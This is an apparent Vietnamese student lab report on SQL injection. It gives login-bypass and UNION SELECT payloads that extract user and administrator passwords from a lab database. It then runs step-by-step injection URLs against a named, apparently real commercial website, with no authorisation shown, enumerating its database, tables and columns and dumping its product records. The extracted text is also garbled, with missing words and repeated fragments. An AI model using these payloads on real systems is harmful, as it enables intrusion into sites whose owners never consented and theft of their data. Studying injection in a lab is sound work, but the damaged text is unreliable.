AN TOÀN VÀ BẢO MẬT HỆ THỐNG THÔNG TIN Thực hành: Tấn công chèn mã SQL
HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIẾN THƠNG Khoa Cơng nghệ Thông tin AN TỒN VÀ BẢO MẬT HỆ THỐNG THƠNG TIN Thực hành: Tấn công chèn mã SQL Họ tên: Phan Quang Điện Mã sinh viên: B19DCCN181 Lớp: D19CQCN01-B Giảng viên: Đinh Trường Duy Mục lục I Mục đích II Nội dung Vượt qua khâu xác thực người dùng .2 Trích xuất liệu từ CSDL .4 Thêm, sửa, xóa liệu 10 Khảo sát trang web mạng có lỗi chèn mã SQL (khơng sửa/xóa liệu) 13 III Kết luận 18 I Mục đích - Giúp cho hiểu cách thức công chèn mà SQL - Biết cách kiểm tra lỗi - Biết cách công lấy thông tin, chỉnh sửa liệu database II Nội dung Vượt qua khâu xác thực người dùng - Đăng nhập tự + Câu lệnh SQL: SELECT TOP * FROM tbl_users WHERE username = 'aaaa' or 1=1 ' AND password = '1' + Câu truy vấn trả giá trị bảng tbl_users mệnh đề OR 1=1 phần kiểm tra mật bị loại bỏ kí hiệu( ); phần lệnh sau kí hiệu coi ghi không thực - Đăng nhập vào tài khoản người dùng định + Câu lệnh SQL: SELECT TOP * FROM tbl_users WHERE username = 'david' ' AND password = '1' + Câu truy vấn trả giá trị bảng tbl_users thỏa mản điều kiên WHERE với username ‘david’, dấu – có tác dụng biến đoạn mã sau thành ghi nên câu lệnh thực so sánh điều kiện username mà bỏ qua password + Vì tên tài khoản ‘david’ tồn nên thông báo đăng nhập thành cơng - Thay tên ‘david’ thành ‘beckamp’ + Vì tên tài khoản ‘beckamp’ không tồn nên thông báo login failed Trích xuất liệu từ CSDL - Tìm số trường câu truy vấn trang = = => Trang không hiển thị kết => Số trường có câu truy vấn - Danh sách trường thử = 1,2,3 kết cuối cho kết => Số trường câu truy vấn - Hiển thị thông tin hệ quản trị CSDL hệ điều hành - Trích xuất danh sách bảng CSDL - Trích xuất danh sách trường bảng students tbl_administrators tbl_products tbl_test tbl_users - Trích xuất liệu bảng students ssss' union select lastname+' '+firstname, student_code+' '+password, student_id from students; tbl_administrators ssss' union select password, username, from tbl_administrators; tbl_products ssss' union select product_id, product_name+'-'+product_desc, product_cost from tbl_products; tbl_test ssss' union select name, 0, id from tbl_test; tbl_users - Trích xuất ghi gồm tất trường từ bảng students có mã sinh viên trùng với mã sv hiển thị tồn thơng tin trích xuất lên hình ssss' union select lastname+' '+firstname, student_code+' '+password, student_id from students where student_code='B19DCCN181'; Thêm, sửa, xóa liệu - Thêm 10 - Sửa - Xóa 11 Thử với bảng tbl_test - Thêm - Sửa 12 - Xóa Khảo sát trang web mạng có lỗi chèn mã SQL (khơng sửa/xóa liệu) Trang: http://diencovothanhdat.com/ Thực hành tại: http://diencovothanhdat.com/?php=product_detail&id=66 - Tìm số trường https://diencovothanhdat.com/?php=product_detail&id=66%20order%20by%2015 13 http://diencovothanhdat.com/?php=product_detail&id=66%20order%20by%2016 Có 15 trường - Tìm số trường bị lỗi http://diencovothanhdat.com/?php=product_detail&id=-66%20union%20select %201,2,3,4,5,6,7,8,9,10,11,12,13,14,15 14 Cột bị lỗi - Xem tên CSDL, user http://diencovothanhdat.com/?php=product_detail&id=-66%20union%20select %201,2,group_concat(database()),4,5,group_concat(user()),7,8,9,10,11,12,13,14,1 Tên CSDL: diencovoth_hoi Tên user: diencovoth_hoi@localhost 15 - Trích xuất danh sách bảng http://diencovothanhdat.com/?php=product_detail&id=-66%20union%20select %201,2,unhex(hex(group_concat(table_name))),4,5,6,7,8,9,10,11,12,13,14,15%20 from%20information_schema.tables%20where%20table_schema=database() Danh sách bảng là: tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_product,tbl_product_ category,tbl_product_new,tbl_product_special,tbl_user,tbl_visitor - Trích xuất danh sách trường bảng: tbl_product + Đổi mã tbl_product sang hex: tbl_product 74626C5F70726F64756374 http://diencovothanhdat.com/?php=product_detail&id=-66%20union%20select %201,2,3,4,5,unhex(hex(group_concat(column_name))),7,8,9,10,11,12,13,14,15% 20from%20information_schema.columns%20where %20table_name=0x74626C5F70726F64756374 16 Các trường bảng: id, code, name, parent, detail_short, detail, image, image_large, sort, status,date_added, last_modified, lang, price, unit - Lấy code, name, tbl_product http://diencovothanhdat.com/?php=product_detail&id=-66%20union%20select %201,2,3,4,5,unhex(hex(group_concat(code,0x2d2d,name))),7,8,9,10,11,12,13,14 ,15%20from%20tbl_product Các liệu code, name bảng tbl_product 17 Hộp Giảm Tốc DOLIN _ Trục Âm,2 Hộp Giảm Tốc DOLIN _ Trục Vít,2-Motor Giảm Tốc DOLIN,2 Motor ATT,5 Dolin Gear Box,5 Dolin Gear Box Srew,2 Motor TECO VN,5 Dolin Motor Discount Rate,5 Motor ATT,2 Motor SIEMENS,2 Máy Bơm Nước TECO VN,2 Máy Bơm Nước TECO Taiwan,5-Motor TECO VN,5 Motor TECO Taiwan,2 Máy Bơm Nước PENTAX,2 Máy Bơm Nước Thải CN,2 Máy Thổi Khí TRUDEAN,2 Máy Nén Khí FUSHENG,2 Máy Nén Khí Trục Vít,2 Quạt hút ống,2 Bơm Hỏa Tiển,2-Palang,2 Băng Tải,2 Quạt Công Nghiệp,2 Máy Bơm Ebara,2 Máy Phát Điện,2 Biến Tần,5 Motor SIEMENS,5 Water Pumps TECO VN,5 Water Pumps TECO Taiwan,5 Water Pumps PENTAX,5 Wastewater Pumps Sun,2-MÁY MÀI NỀN,5 Impellers,5 Variable Speed,5 Blower TRUDEAN,5-Fusheng Air Compressor,5 Screw Air Compressor,5 Conveyor,5 Palang,5-Industrial and Commercial Fan,2 Máy nén khí HANBELL,5 HANBELL Air Compressor,2 BƠM DẦU DC 24V - 48V,2 MOTOR MÁY CHẠY III Kết luận - Hiểu cách thức công chèn mã SQL - Biết cách kiểm tra lỗi - Biết cách vận dụng truy xuất lấy thông tin liệu - Có thể cơng chỉnh sửa liệu database website 18 ... tbl_test - Thêm - Sửa 12 - Xóa Khảo sát trang web mạng có lỗi chèn mã SQL (khơng sửa/xóa liệu) Trang: http://diencovothanhdat.com/ Thực hành tại: http://diencovothanhdat.com/?php=product_detail&id=66... cách thức công chèn mà SQL - Biết cách kiểm tra lỗi - Biết cách công lấy thông tin, chỉnh sửa liệu database II Nội dung Vượt qua khâu xác thực người dùng - Đăng nhập tự + Câu lệnh SQL: SELECT... kết cuối cho kết => Số trường câu truy vấn - Hiển thị thông tin hệ quản trị CSDL hệ điều hành - Trích xuất danh sách bảng CSDL - Trích xuất danh sách trường bảng students tbl_administrators tbl_products